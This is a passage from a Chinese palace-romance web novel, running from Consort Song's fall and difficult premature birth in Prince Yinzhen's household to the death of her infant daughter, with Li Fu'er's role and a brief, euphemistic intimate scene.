李芙儿也不是个得理不饶人之人,更何况此时春光正好,她也不乐意这个时候与宋格格纠缠,坏了兴致,客气说道:“宋格格快坐下,可别累着了。”
“不打紧,太医说我底子好,多多走动,生产才会顺利,还是李格格你会找地方,这儿景色多好,比我们那院子里看着美多了。”宋格格笑着恭维。
随着宋格格过来的几人,更是七嘴八舌的奉承,漂亮话一句接着一句,只求李格格能稍微记住她们,日后有理由找上门去,想必李格格也愿意多几个人奉承,日后她能用的人也多几个。
李芙儿愣了愣,很快便明了几人的想法,但遗憾的是,她对于这份示好,毫无兴趣。
四阿哥早就被指婚,虽说福晋此时没有嫁过来,但她后院里女主子的身份不会变,李芙儿又不是嫌弃日子过得太舒服了,才在福晋进门前拉拢人手和她打对台。
更何况,那些人凑过来的根本目的,还是想引起胤禛的注意,这就让李芙儿更加不喜。
既然入了四阿哥的后院,要求的宠爱各凭本事,但是她们把自己当跳板,这事李芙儿不干!
李芙儿静静地看着这些人,都是最好的年华,个个如花似玉,她摸着鬓间的花朵,不发一言。
春风带着暖意吹过,却没有吹散几人间冷凝的气氛。
宋格格左看右看,笑着说道:“咱们姐妹难得聚这么齐,好好赏景才不负了这景色。”
说着她便捧着肚子往李芙儿旁边小亭子走去。
李芙儿点了点头,这御花园不是她的私人园子,旁人要来赏景,她也没法子赶出去,她往旁边挪了挪,给宋格格腾出路来。
此时宋格格月份已经很大了,没多久就要临盆,她腹部滚圆,脚下路都看不到,只能凭借着宫女的搀扶,小心地走着。
花盆底踩下,尽管有宫女扶着,宋格格也晃了几晃,这让李芙儿看得心惊,不动声色地离宋格格更远。
然而怕什么,来什么。
李芙儿已经和宋格格拉开了一段距离,宋格格却一心想着和李芙儿搭上关系,她已经失了四阿哥的恩宠,但她肚子里的孩子,不能和她一样,必须让这个孩子和最受宠的李芙儿搭上关系。
打定了主意,宋格格脚步一转,便摸着肚子往李芙儿身旁走去:“李格格,我这孩子可乖了,都不怎么闹人,你快摸摸,也给你带来孩子。”
说着,挺着肚子往李芙儿手边送去。
什么!
李芙儿惊恐地张大眼,她对于宋格格腹中的孩子,并没什么好奇或者羡慕,嗖地一声,她迅速将手收回,心里直骂宋格格拎不清,脸上勉强笑着:“多谢宋格格好意,这事不急于一时,您赶紧坐着。”
对于要孩子,李芙儿并不积极,她家里头弟弟和妹妹都不少,她每日在孩子们的哭闹,尖叫中度过,在宫里耳旁才清静下来,她此时并没什么兴趣再养个孩子。
更何况,福晋还没进门呢,赶在福晋之前有子,虽说这事在清宫中正常,但也不知道福晋心里会不会有疙瘩。
李芙儿没有多大的上进心,她只想舒舒服服地过日子,虽然最近很是得了四阿哥的宠爱,但她也没有和福晋别苗头的意思。
对于宋格格说的话,李芙儿敬谢不敏!
宋格格却没有看出李芙儿的不乐意,她更加往李芙儿身边凑,笑着想要再劝。
然而乐极生悲。
御花园里百花盛开,鲜花吐蜜,散发出各种清香,这花香不仅引来了蝴蝶,同样,也引来了蜜蜂。
在花蕊里采蜜的蜜蜂被外头的动静惊动,从花朵中飞了
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出来,直冲宋格格的脸。
宋格格一恍神,便见不知什么东西如鞭炮一般冲来,还发出嗡嗡地声音。
被这动静一吓,宋格格不自觉往后退了一步,高高的花盆底一个趔趄,宋格格的脚向内翻折。
钻心地疼痛从脚腕传来,宋格格瞬间往地上倒去。
扶着她的宫女手上用力,将宋格格搀扶着,然而于事无补,被巨大的惯性带着,宋格格和宫女摔作一团。
这一切都发生在电光石火之间,还不等李芙儿反应过来,宋格格便已经躺在了地上,她捂着肚子呻吟着。
“啊!!!!”这时候跟着宋格格过来的其他人,才尖叫出声,划破静谧地御花园,乌鸦被尖叫声惊醒,抖着翅膀飞到屋脊之上。
“痛,好痛!”宋格格躺在地上一动不动,脸色煞白。
李芙儿也白了脸,她是离宋格格最近的一个人,也是最知道宋格格情况不妙的人。
浓重的血腥味已经顺着风飘到了李芙儿的鼻尖,隔着厚厚的宫装,鲜血顺着裤脚滴落。
“快,给德妃娘娘宫里送信,求他们去请太医,派个肩舆过来。”李芙儿重重喘了几口气,使劲掐着手心冷静下来,镇定地吩咐。
他们这种小格格,在宫里没有乘坐肩舆的资格,更没法请太医。
但宋格格情况实在紧急,必须求一份例外。
自从佟佳皇后去了后,如今宫里位份最高的是钮祜禄贵妃,然而钮祜禄贵妃身子一直不好,缠绵病榻多时,宫务由四妃分别掌着。
德妃是四阿哥的生母,他后院的人出了事,找她最是方便。
秋菊担心地看了李芙儿一眼,忙往永和宫走去。
“小泽子,你去上书房外,赶紧把这事和苏公公说了。”
上书房的规矩,李芙儿不懂,但苏培盛一定会在外头守着,将事情告诉他,他能够斟酌着办好。
小泽子行了个礼,也迅速过去了。
此时其他人的尖叫还没有停,几个人凑着,惶恐不已。
“闭嘴!”李芙儿呵道。
许是李芙儿镇定的模样给了他们主心骨,被李芙儿一呵斥,其他人竟然都停了下来,听着李芙儿的吩咐,回殿里烧水做准备了。
等到肩舆到来,大力的太监将宋格格抬回乾东五所,李芙儿紧绷的肩膀才稍微放松下来。
13. 发动
“啊!!!”
撕心裂肺地哀嚎声从屋子里传来,李芙儿手紧紧捏着椅背,指尖青白。
好好的赏花,却赶上了这种意外,实在让人心里压抑的很。
“主子,宋格格这胎不好!”内务府早就准备好的稳婆在屋子里不知做了些什么,伴着宋格格的惨叫声,双手沾着鲜血走了出来,慌乱不已:“一直在流血,肚子里孩子不好,又没有生的征兆,得将孩子弄下来宋格格的血才能止住。”
弄下来,稳婆的话里意思,就是想办法将这胎落下。
御花园里赏花的一众人都在外头等着,听了稳婆的话,个个脸色煞白。
“这可怎么办?”
“可怜的宋格格。”
惊叫的,哭泣的,种种声音交织成一片,甚至还有当场念诵起佛经的,都没个主意。
一时间屋子里乱哄哄闹成一团,声音都压过了里头宋格格的痛呼声。
宋格格的贴身宫女如意扑通一声跪了下来:“求主子们救救小阿哥。”
然而如意跪下后,原本的哭泣,尖叫全都止住,众人不动声色地往后退了几步。
宋格格肚子里的孩子何其贵重,哪里是她们能够做主的。
视线,不经意地,都看向了李芙儿。
她们都是宫人出身,偶然伺候过四阿哥一次,被收到后院里,没多久就被忘到了脑后,哪里能和正经小选进来,又颇得四阿哥宠爱的李格格比。
此时福晋还没进门,苏公公也不在,这事,自然要李格格做主!
从其他人视线中看出这个意思的李芙儿,诧异地瞪大了眼。
等等,这可是四阿哥的第一个孩子,就这么儿戏吗?
然而环顾四周,李芙儿绝望地发现,四阿哥的后院里,真的没人比格格分位更高了。
至于后宫里的贵人,宋格格不过是四阿哥后院里一个普通的侍妾,即使她怀着的是他的第一个孩子,也劳烦不了德妃娘娘的大驾。
“四阿哥呢,回来了吗?”李芙儿低声问着小泽子。
小泽子着急忙慌赶来这一趟,早就出了满头的汗,他来不及擦干,任由汗滴落在地上:“奴才将事情和苏公公说过了,苏公公说知道了。”
知道了…
李芙儿琢磨着苏培盛说的这三个字,显见着他没觉得宋格格这是大事。
或者说,在苏培盛心里,这事比不上胤禛的进学重要。
四阿哥,不会告假回来!
李芙儿轻轻叹了口气,不知是为正在产床上哀叫的宋格格,还是为了什么。
如意仍然在绝望地磕头,稳婆仍在等着命令,而宋格格痛呼的声音越来越大,夹杂着她喊四阿哥的声音。
屋子里的人都望着李芙儿,盼着她早做决断。
然而这又哪里是李芙儿能够做主的事情,涉及到子嗣大事,就连福晋都不能擅专。
不是李芙儿狠心,而是宫中麻烦太多,行差踏错就是万劫不复。
李芙儿咬牙吩咐:“你再跑一趟上书房,务必让苏培盛将事情告诉四爷,讨个主意!”
小泽子也知情况紧急,他一抹脸,又脚下生风的走了出去。
“太医呢,到哪儿了?”不等如意磕头,她赶紧询问。
德妃既然派人送了肩舆过来,想必是对宋格格腹中孩子有几分关心,李芙儿遣人去永和宫的时候,已经说了情况危机,想必德妃会派人宣召太医入宫。
“奴婢这就去看!”秋菊一直陪在李芙儿身旁,也不知晓外头的事,忙退了出去。
“如意,你赶紧让人多多的把热水烧好,还有棉布什么的,你主子准备的东西都拿出来!”李芙儿回忆着家里母亲生孩子时候准备的东西,吩咐道。
如意已经六神无主,得了吩咐忙领命下去。
“李主子,您这是?”稳婆试探着问道。
轰隆,外头春雷闷响,闪电的亮光照出了李芙儿难看的脸色。
李芙儿心头一跳,她咬着牙坚持:“先等太医来。”
稳婆撇了撇嘴,她接生这么多年,就没见过女人生孩子还找大夫的,大夫能懂什么生孩子。
然而李芙儿就这么坚持着,脸上神情冷然,不动摇半分。
“主子,太医来了!”秋菊气喘吁吁地在外头喊着。
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>满屋子的女眷忙往屏风后躲。
李芙儿深吸口气,也转到屏风后,冷静地吩咐:“烦请太医为我们宋格格把脉。”
要在德妃派人过去的时候,太医院便知晓是什么情况了,派来的是一个须发皆白的老太医。
他听见屏风后清脆如莺啼的声音,眉毛也没抬一下,拱了拱手便进了屋子。
里屋的帐子早就放了下来,宋格格的痛呼声渐渐弱了,老太医对满屋子的血腥味恍若未闻,苍老的手搭上宋格格从帐子里伸出来的手腕。
把脉片刻,他收回了手,又退出屋子,隔着屏风行礼:“贵人,里头的贵人此时胎气大动,阿哥在腹里不好。”
如意绝望地瘫在地上,宋格格在她伺候下出了这么大的岔子,她的命也到头了。
“太医可有什么法子?”李芙儿听这太医镇定的声音,便知他定有后手。
果然,只听见那太医接着说道:“微臣有个催产方子,或许能催动小阿哥提早落地。”
话中,是满满的自信。
好!
李芙儿紧绷的肩膀终于松了下来,她知晓宫中太医最是求稳,能提出这个法子,必然是有些十足的把握。
更何况,这法子是让宋格格生子,而不是伤害皇嗣。
瞬间李芙儿便想明白了,她立即拍板应允:“一切都靠太医!”
太医开了药,亲自去熬,李芙儿从屏风后转了出来,对稳婆说道:“接生一事,交给你了。”
等药熬好,热水也烧好了。
如意端着药,李芙儿跟着进了屋子。
太医进来时候放下的帐子已经掀开,李芙儿看着面如白纸的宋格格,在她耳旁说道:“听到太医的话了吗,喝了这药,孩子就能生下来。”
宋格格暗淡的眼里又透出亮光,她眼神复杂地看了李芙儿一眼,强撑着将药喝完,果然没多久就觉得另一种疼痛袭来。
李芙儿连忙给稳婆让出地方,一盆盆的热水端了进来,一盆盆血水端了出去,等到暮色西沉,伴着云销雨霁,宋格格腹中的孩子,终于生了下来。
四阿哥胤禛,也在这时候回来了。
14. 安抚
大步走进来的胤禛,身上还穿着外出的大衣裳,一天的进学下来,袍角靴上已经全是灰土,就连脸上,也灰扑扑地,沾了一层泥。
这是刚散学便急急忙赶回来了。
李芙儿这时候才彻底放松下来,胤禛回来了,这儿可算是有了做主的人。
她面露喜色,忙将胤禛迎到主座上坐下,笑意盈然:“可见着这孩子和爷有缘,爷一回来,孩子便生了下来。”
胤禛顺着李芙儿的力度坐下,看向她的眼神柔和了几分。
正要问现在情况如何,便听见婴孩的哭声从里屋传来,稳婆满脸喜色地走了出来。
一眼便见着了坐着的胤禛,稳婆笑得更加见牙不见眼:“恭喜主子,宋格格生了一个小格格,母女平安。”
“赏!”到底是胤禛的第一个孩子,尽管是小格格,也足够让胤禛高兴。
宫人们笑容满面,纷纷跪下谢恩。
平安生下了格格就好,小格格没事情,他们也逃过一
劫。
一直装鹌鹑的其他侍妾们,这时候又长了舌头,一个个的笑容满面,吉祥话儿一句接着一句,对着胤禛将小格格夸得天上有地上无。
胤禛素来冷然的脸上,难得的露出明显笑意。
他站起来,几步走到产房门口,里头宫人们正在替宋格格收拾。
产房里血腥味未散,胤禛站在门外,隔着帘子关怀了几句,宋格格强打起精神,谢了胤禛的关心。
乳母将已经裹好包被的小格格,抱到了门旁,给四阿哥过目。
这孩子许是未足月的原因,看起来很是瘦小,就连哭声都比寻常婴儿小了许多,皱巴巴地,扁着嘴低低哭着。
胤禛眉头皱起,和缓的神色又变得严肃,他冷声吩咐着乳母:“好好伺候小格格。”
乳母抖着声音应了。
这时候外头又传来一阵动静,胤禛皱眉望去,却是送膳的太监抬着食盒进来。
原来已经过了晚膳的时辰,四阿哥后院里没一个人去取膳,御膳房的太监消息灵通,知晓是宋格格在生子,忙将四阿哥后院的分例菜送来,献上殷勤。
胤禛脸色好看几分,他望着屋子里的女人,吩咐各自回屋用膳。
闻言,众人均行礼告退。
李芙儿也随着福了福身子,便要跟着离开,却被胤禛反手握住了手腕。
什么!李芙儿震惊地瞪大眼,原本就水汪汪的大眼变得圆滚滚的。
这主子在想什么,宋格格屋子里伺候的人一大堆,能管事的主心骨也回来了,让她留下来做甚。
难道是让她等等,随她一块儿回屋?
不,不会吧?
李芙儿很快否认了这个想法,毕竟宋格格刚生了孩子,四阿哥当着她面便去其他人屋子里歇息,让宋格格看了多难过啊。
然而胤禛接下来的动作,却表明李芙儿想得没错。
胤禛先是逗弄了一会儿小格格,随后又温言叮嘱宋格格几句,让她好好养着身子,便捏着李芙儿的手腕,离开了宋格格的屋子,往李芙儿屋子走去。
李芙儿呆了一瞬,立即跟了上去。
坠在西边的太阳已经落了下去,天边只剩下灰蒙蒙的白,乌鸦划过天际,站在宫殿的兽头之上,呕哑嘲哳地嘶鸣着。
李芙儿和宋格格住在同一个院子里,不过是一个住着东厢房,一个住着西厢房,没两步,两人便进了李芙儿的屋子。
此时外头还有些落日的余晖,但屋子里已经暗了下来,宫人们见着四阿哥和李格格在屋下游廊里的身影,忙将屋内的灯全部点亮。
橙黄的火焰簇簇燃着,不大的屋子里被染上一层暖光。
食盒里的份例菜已经在桌上摆好,在几个常见菜之外,还有御膳房特意孝敬的两个功夫菜。
御膳房还是有眼力见,胤禛暗自点头,将袍子拂开,在主座上坐下。
李芙儿见状,忙取来一个粉彩小碗,挽起袖子,亲自舀了一碗人参羊肉汤递给胤禛:“爷,这汤我尝着不错,又最是补气养身,特意让膳房做了给您,您尝尝可否符合您的口味?”
羊肉汤被炖得奶白奶白的,薄薄的放了几个参片,倒是尝不出药味,反倒将羊肉的膻味掩盖一二。
胤禛就着李芙儿的手,尝了一口,随
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即将粉彩小碗接过,示意李芙儿也坐下用膳。
李芙儿在宋格格那儿守了一天,筋疲力尽,早就没什么胃口,她挑着羊肉汤里的萝卜有一口没一口的吃着,等着胤禛放下了筷子,便也将筷子放下。
“爷,热水已经备好了,您在外头累了一天,去泡个澡解解乏。”
李芙儿进了里头,从箱子拿出干净的衣裳,笑着对胤禛说道。
“不急。”胤禛止住了李芙儿的动作。
李芙儿抱着崭新的里衣,停了下来,茫然的站在胤禛身前。
胤禛握住李芙儿的手腕,隔着衣裳,李芙儿都能感受到胤禛手上滚烫的热。
他手上稍微用力,李芙儿顺着力度坐到了胤禛的腿上。
“爷?”李芙儿诧异地抬头,却见着胤禛温和的眼神。
“今日吓到了?”胤禛抚着李芙儿的额头,直直地看着她的眼,眼神中,是安抚,是劝慰。
李芙儿鼻头一酸,她从未经历过这样的事情,听着宋格格呼痛,看着那一盆盆的血水,她腿都快软了,不过是在人前强撑罢了。
等到一切安定下来,被胤禛这么一问,当时的惶恐,害怕全部涌上心头。
“爷,我怕。”李芙儿软了身子,伏进胤禛的怀里,哽咽着说道。
“不怕,不怕。”胤禛略显粗糙的大手抹过李芙儿的脸,擦去冰凉的泪,他抱住李芙儿,在她的鬓角额间亲吻着:“你做得很好了,爷知道。”
李芙儿埋在胤禛的怀里,止不住哭了起来,胤禛沉默地擦着她的眼泪,任由衣裳被泪水沾湿。
好半晌,李芙儿才渐渐止住了哭泣,抽抽噎噎地让胤禛去洗漱。
胤禛见着李芙儿缓过了精神,点着她通红的鼻头笑了笑,这才走进了屏风后。
留下李芙儿手忙脚乱地将脸洗干净。
入夜,春雨又下了起来,淅沥沥的雨溅在窗台上,扰得人不能入眠,李芙儿蜷着身子,往胤禛怀里拱着,胤禛压住身体的热,将李芙儿抱在怀里,一下一下地拍着、哄着。
恼人的雨声与蟋蟀声,成了伴奏的夜曲,李芙儿在胤禛怀里安然入眠。
15. 燥热
春雨下了一整夜,泥土被雨水浸湿,蒸腾出大地的腥味,虫儿从土中钻出,叫的愈发大声,透过开着的窗扇,传到了安静的屋内,将熟睡的人闹醒。
入睡前燃着的灯油早已烧尽,无星无月的晚上,屋子里暗沉沉的。
胤禛睁开眼,放下的帐幔里不见微光,在这般深沉的夜色里,枕边人温热的肌肤,轻微的吐息,都被放大了许多。
御膳房送来的那份羊肉汤效用越来越强,羊肉本就是大补,还往里头放了参片,胤禛正是年少,只觉得浑身都燥热起来,翻来覆去都不舒畅。
就连怀中人清浅拂在他胸前的呼吸,都犹如火烧,一沾到便掀起滔天欲.念。
胤禛的手轻揉着,浅浅解着心头的焦渴,但这无异于是饮鸩止渴,他粗蛮地将被子掀开,暖融融的香顺着掀开的被褥散了出来,春夜的凉意悄然钻入。
被这凉意一激,李芙儿光洁的臂膀上起了一层细细密密的寒栗,她不由轻颤,摸索着朝热意而去,翻转间便滚入了胤禛的怀中。
胳膊贴着胳膊,腿叠着腿,肌肤相贴,便如同在油锅里扔进了一个火星子。
“轰”地一声,胤禛心里的欲,滔天涌起。
胤禛用力地搂住怀中人,有力的大掌覆盖上去,先是轻拢慢捻,很快便抑制不住心头的渴,力气越来越大,白玉般的肌肤上浮现点点红痕。
李芙儿被这动静扰醒,惊呼出声,和着外头的虫鸣,她面红耳赤地将手背塞入口里,止住声音。
胤禛眼睛赤红,将她手拉出来,低头亲了上去。
厚重的被褥里潮乎乎的,蜜合香被热意一熏,愈发的浓郁,李芙儿喘着气,将被褥踢开,这才觉得能透过气来。
羊肉的滋补夹杂着初为人父的喜悦,胤禛只觉得浑身都有使不完的力气。
床帐摇曳,吱吱呀呀,久久未停。
夜色依旧深沉,胤禛心里的燥终于缓解下来,他搂着仍然沉浸在余韵之中的李芙儿,细细密密地亲着,安抚着。
好半晌,李芙儿急促地呼吸才平静下来,她侧过身子,依赖地搂住胤禛的胳膊,头靠在结实有力的臂膀上,闭眼睡了过去。
在兴头上没有注意,等一切结束,胤禛隐约听见外头的西洋钟报时的声音,他闭目听着,估摸着快到了起床的时辰,索性不再睡了,摸着李芙儿柔软的肚子,若有所思。
等到李芙儿再醒过来,又是日上中天,胤禛早就去了上书房。
第一次睡过头时候,李芙儿心里还有几分惊慌,次数多了,李芙儿已经全不把这当回事。
若非胤禛索求无度,她也不会睡得如此深沉,没能起床送他出门,这也怪不得自己。
李芙儿理直气壮地想着,等问了秋菊,知晓没有怠慢胤禛后,她更加放下心来,径直去梳洗。
等到在梳妆台前坐下,隔着铜镜都能见着她脖子上掩不住的痕迹。
李芙儿想起胤禛夜间的贪,暗啐了口,忙吩咐秋菊用脂粉掩住。
秋菊红着脸调弄着胭脂水粉,将满脖子的痕迹盖好,李芙儿拿着镜子细细打量,确实看不出丝毫痕迹,这才笑了出来,吩咐道:“昨儿个宋格格那边生了小格格,你去库房里找个金项圈并四个镯子送过去。”
这是四阿哥的第一个孩子,送的礼难免重上几分。
秋菊也知晓这个理,拿着钥匙便开了箱子,找出如意纹项圈和镯子,送了过去。
李芙儿则是去吃迟来的早膳。
早膳被御膳房送来有一段时辰了,虽然在茶水炉子上坐着,但到底没有刚送来时鲜亮,吃着口感也大不如前。
要是能有个小厨房就好了,李芙儿吃着变了色的白菜畅想着。
但小厨房,对于现在的李芙儿而言,不亚于痴心妄想。
如今宫里能够开小厨房的,除了皇太后和万岁爷,便只有贵妃和四妃了,李芙儿心知她身为胤禛的格格,在宫里开小厨房绝无可能。
若是开府了,和胤禛撒撒娇,说不准还有希望。
什么时候才能出宫开府啊,李芙儿吃着糊烂成一团的菜,痛苦地想着。
也不知等福晋进了门,能不能开府。
李芙儿掰着手指头算着四阿哥什么时候大婚,她不过是刚被指过来的侍妾,在储秀宫时候,嬷嬷说过,万岁爷已经给四阿哥指婚了,四阿哥未
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来的福晋是乌拉那拉家的女儿,最是端庄大气。
但是四阿哥什么时候成亲,这种事情嬷嬷就不会和李芙儿说了,因为没什么必要。
也不知福晋什么时候进门,李芙儿掰着手指头算着。
按着四阿哥的岁数看,想必不会太久了。
不过,李芙儿掰着的手指头突然僵住,她突然反应过来,四阿哥娶了福晋,内宅的事必然会由福晋打理,福晋不一定能同意让她单开小厨房,四阿哥这般守规矩的人,必然不会驳斥了福晋的意思。
唉,小厨房的梦想,还是遥遥无期。
李芙儿放下筷子,忧郁地想着。
算了算了,那么遥远的事情,先不想了,还是想想晚上让御膳房做个什么菜吧。
李芙儿很快劝好了自己,招手将小泽子唤来,令他去御膳房看看有什么时令菜,拣着新鲜的,让他们炒两个来。
春日里到了,怎么也不该全是萝卜白菜了。
“主子,羊肉汤还让他们送吗?”小泽子见胤禛和李芙儿前一日都用了不少,眼珠子转了转,低声问道。
想到帐子里的喘息,动作,李芙儿忙不迭摇头:“春天了,那羊肉火气太大了,今日不要那个,让清炒几个青菜,去去火。”
昨儿个分明说味儿不错,怎的隔一日便变了说法,小泽子挠着头,却也不质疑,只纳闷地去了。
新换上的青碧色门帘才被放下,还在晃荡,又被掀开。
被派去给宋格格送东西的秋菊,面色凝重地走了进来。
“回来了?”李芙儿含笑问道:“怎的去了那么长时间?”
秋菊舔了舔干燥的唇:“宋格格特意召奴婢说了几句话,让奴婢和主子您说,您的恩德她记在心里,没齿难忘,等到出了月子再给您问好。”
“她好好养着身子比什么都重要。”想到那一盆盆的血水,李芙儿叹口气,眉目带着担忧。
“小格格怎么样?”李芙儿摇了摇头,不想那触目惊心的情景,换了个话题问道。
秋菊的神色却更凝重,她斟酌许久,凑到李芙儿耳旁,低声说道:“主子,我瞧着小格格,不太好。”
16. 噩耗
“不太好…”李芙儿愣住,瞬间抬头看向秋菊,却见着秋菊凝重的神情。
秋菊入宫多年,最是谨慎的性子,没有十足的把握,不会开口说这话。
宋格格挣命生下的女儿,眼见着不好。
李芙儿叹了口气,她低声吩咐:“多注意些那边,有什么能帮上忙的,我们搭把手。”
她和宋格格没有生死仇恨,都在一个院子里住着,能帮一分是一分。
秋菊想起那个连哭泣都没多少力气的小孩,重重地点头。
希望小格格能够养好,李芙儿深吸口气,令小泽子去御膳房,吩咐这几日别送荤腥,净手后亲自磨墨,打开经书,一笔一划认真地抄着,为小格格祈福。
然而世事的残酷就在于,在千万种可能中,永远会发生最差的那种。
在秋菊去送过礼之后的第二日,宋格格院子里便闭门谢客,须发都白了太医再次入了这个小小的院子,隔着门,李芙儿见着那太医摇头叹气地走了。
这让李芙儿心里不好的预感愈发重了。
但这几日胤禛没有来后院,除了去宋格格院子里陪着,夜间都独宿在前头的书房里。
想必也是为了小格格在祈福。
整个后院都气氛都格外压抑,谁也不敢在这时候冒尖,李芙儿更是难得的冷了脸,将她屋子里的几个人全都狠狠约束着,决不能有什么不当行为。
宋格格屋子里依旧沉闷,丝毫没有得子的喜悦之感,夜间亮起灯光,从对面的窗户上,李芙儿能见着宋格格起身招呼小格格的身影。
亲力亲为,绝不假手于他人,一晚上能起来数次。
然而即使宋格格这般用心,还是没能让小格格养好。
还没等宋格格出月子,这一日风雨大作,李芙儿感觉闷地难受,早早便睡了,到了半夜,她突然被震天的雷声惊醒,抚弄着扑通直跳的心,她只觉得心慌不已。
还不等她将秋菊唤来,外头突然传来一阵撕心裂肺的哭嚎之声。
“怎么回事?”李芙儿掀开帐子,语气急切。
好一会儿,守夜的秋菊才从外间进来,暴雨打湿了她的裙子,水顺着流到地上厚厚的毯子里。
但李芙儿和秋菊谁也顾不上这些枝节,秋菊一抹脸,嘴唇颤抖:“主子,小格格去了。”
“轰隆!”外头又是雷声滚滚,闪电更是频道,刺眼的闪电划破黑夜,映衬地李芙儿的脸色更加苍白。
她胡乱拿着衣服,随意套上:“我们过去看看。”
随即便脚步匆忙地走了出去。
夜里雨格外大,一推开门,伸手不见五指,只能听见雨打树叶的声音。
宋格格的屋子亮起了灯,但这微弱的灯光穿不透浓重的夜,李芙儿提着挡风防水的八角琉璃灯,披上披风,从游廊里往宋格格的屋子里走去。
李芙儿和宋格格住在同一个院子里,得到信是最早的,来的速度也是最快的。
她敲开宋格格的门,已经入了春,角落里还烧着好几个炭盆,将整个屋子烘得热意滚滚。
李芙儿呛地咳嗽了两声,挟带着满身风雨进去。
大风大雨的天气里,斗篷起不到任何作用,李芙儿的满头满脸都是雨水,头发打湿成一咎咎的,沾在额头,脸上,好不狼狈。
但这份狼狈,与宋格格的状态相比,还能说一句甚好。
只见宋格格瘫软在地上,脸色煞白,两个眼圈乌黑,眼睛里全是血丝,眼泪流了满脸,精气神全都散了。
她连哭都哭不出来,只伏在摇篮上,低低地喊着:“小格格。”
小格格还太小,小到还没有取名字,都是混叫着,等大些再取名,谁知道小格格却再也没有得到自己名字的机会。
见着宋格格这副失魂落魄的模样,李芙儿也跟着红了眼圈,她是亲自见着宋格格如何艰难地生下小格格的,也是亲眼见过小格格出生时的样子的,巴掌大小,小小的,和小猫一样。
“宋姐姐,”李芙儿喊了宋格格一声,却不知该如何劝解,在失去了孩子的额娘面前,再多的话都是苍白。
宋氏眼神转到李芙儿身上,她直直地看着,眼中却是空白呆滞,整个人都与外界隔了一层。
“啪!”湿透的门帘
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被外头的风吹着打在门上,发出巨大的响声。
随着门帘掀开,得到信的胤禛终于走了过来。
这也是李芙儿这段日子第一次见到胤禛,只见他同样脸色苍白,从头到脚都湿淋淋的,整个人犹如刚从水里泡出来。
“爷!”青黑色的靴子踩在地上,发出沉闷地的声音,这声音将宋氏从呆怔中回神,她跪着爬到胤禛腿前,抱住他的腿,重又撕心裂肺地哭了出来:“您快找太医,救救我们的小格格。”
宋氏身旁伺候的人跪了满地,跟着哭了起来,一时间,满屋子都是哭泣声。
李芙儿用帕子擦了擦眼角,悄无声息地退后了两步。
胤禛也见着好些日子未见的李芙儿,但此时不是和她说话的时候,他匆忙扫过,见李芙儿身上还算干爽,放下心来,视线移到宋氏身上。
见着宋氏哭地快昏过去,胤禛心头动容,他弯下腰,亲自将宋氏扶起,走到小格格的摇篮前,见着她小小的身子已经停住呼吸,疼痛蓦地从心口传来。
胤禛不是没有见过夭折的孩子,远的不提,他一母同胞的弟弟妹妹,就有没养活的,然而直面第一个孩子的逝去,还是伤心。
“苏培盛,”胤禛强忍着难受,吩咐苏培盛将小格格带出去。
宋格格见着太监将小格格抱起,她绝望地扑上去,状若疯癫:“不,不要把她带走!”
胤禛退后一步,又恢复冷面:“我让人找了个好风水的地方,趁夜送出去安葬了。”
这话一出,宋格格的动作瞬间停住,她不舍地看着小格格,却不再阻拦,只盯着胤禛,执拗地问道:“您真的会让小格格入土为安?”
放在平常这般被质疑,胤禛早就不耐烦地抬腿就走,但宋格格刚失了女儿,胤禛对她还有几分耐心:“爷的孩子,总得有个归处。”
斩钉截铁,一字千钧。
宋格格退后一步,重重跪了下去,深深磕头:“谢爷恩典。”
胤禛背着手,见着苏培盛将小格格装进黑色盒子里捧了出去,等到见不到人影后,吩咐如意照顾好宋氏,便牵着李芙儿出去。
17. 慰籍
夜雨潇潇,风雨一直未停,豆大的雨打在树叶、花朵上,满地的残枝败叶。
住在后头院子的女人们,终于撑着伞赶了过来,此时胤禛已经将事情处理完了,苏培盛手下的小太监们守着院门,不许旁人进来添乱,众人隔着打开的院门,只见着一行人提着灯往李氏屋子里走去,为首的那个高大身影,不是四阿哥又是谁。
四阿哥身旁,紧跟着一个娇小的女子,仔细分辨,能看出是前阵子风头最盛的李氏。
望着李芙儿的背影,女人们暗暗啐了口,自从李氏进来,再也没有旁人沾过四阿哥的边。
这些日子四阿哥更是压根就没有进后院,都在暗暗琢磨,李氏是不是就此失宠,谁知道借着小格格的事,她又将四阿哥勾走了,只是可怜了宋氏。
哼,等福晋进门了,李氏的好日子就到头了。
女人们恨恨地想着,心里也明白她们无法借着此事露脸,
便也不再纠缠,撑着伞,冒着雨又回了自己的院子。
瓢泼的雨声将外头的动静全都遮住,李芙儿并不知晓,她一手被胤禛握在手中,一手提着裙子,顶着大风,紧紧跟着胤禛的身旁。
不知是被风吹还是雨淋,胤禛的手冰凉刺骨,将李芙儿冻得直哆嗦。
好在游廊不长,没多久便到了李芙儿的屋子。
厚重的门帘重重落下,将外头的风雨隔绝,铜盆里是刚刚烧好的热水,汨汨地冒着热气,从窗户缝里吹进的风,将热气吹得四散。
夜里无法去大厨房拎热水,茶水房煮出的水,也就够擦擦身子。
“快擦洗一番,让身子暖和起来。”李芙儿将手抽出,推着胤禛到了铜盆前,忙给他脱着衣裳。
削葱般的手指被冻得青白,她哆嗦着解着扣子,麻木的手指却不听使唤,好半晌一个扣子都没有解开。
脖子里冰凉凉的,胤禛垂下眼,将李芙儿的手握住,大掌握着小手,埋入了铜盆之中。
碧水荡漾,手被热水浸泡着,慢慢有了知觉。
李芙儿这才觉察到手心的麻、痒、刺痛,也察觉到紧握住她的手的热意。
“你也去收拾一下,爷这里不用管。”胤禛沉默许久,说了进屋后的第一句话。
仔细打量,确认了胤禛说的是真心话,李芙儿也不与他客气,她拿着衣裳去了旁边,同样装着热水的铜盆前。
将湿哒哒的衣裳脱了,温热的帕子将头脸擦干净,拧干帕子又擦过全身,终于清爽起来。
再换上在熏笼上烘的热热的衣裳,身上终于干爽起来,李芙儿擦着头发,走到门口,吩咐秋菊将煮好的姜汤拿来。
同样换上干爽衣裳的胤禛,闻着姜汤刺鼻的味道,不自觉皱眉。
“爷,夜深风急,您喝些姜汤,免得着凉。”李芙儿在家时是见过受了风寒,一病不起的人,她将姜汤稳稳端着,手腕上的碧玉镯子轻轻摇晃,与汤碗碰撞,发出丁零当啷的脆响。
“我特意让她们多放了糖,喝起来甜滋滋的。”见胤禛许久不接,李芙儿拿出在家里哄妹妹的手段,浅浅尝了口,明亮的眼觑着,好像在说,看吧,我没有骗你。
胤禛一阵恍惚,他养在佟佳皇后的宫里,佟佳皇后没有亏待过他,但也没有过这般温柔哄他的时候,他失神的伸手,将姜汤接过,一饮而尽。
“是不是很甜,一点也不辣。”李芙儿好像胤禛做了什么了不起的大事,看向他的眼中满满的都是夸赞。
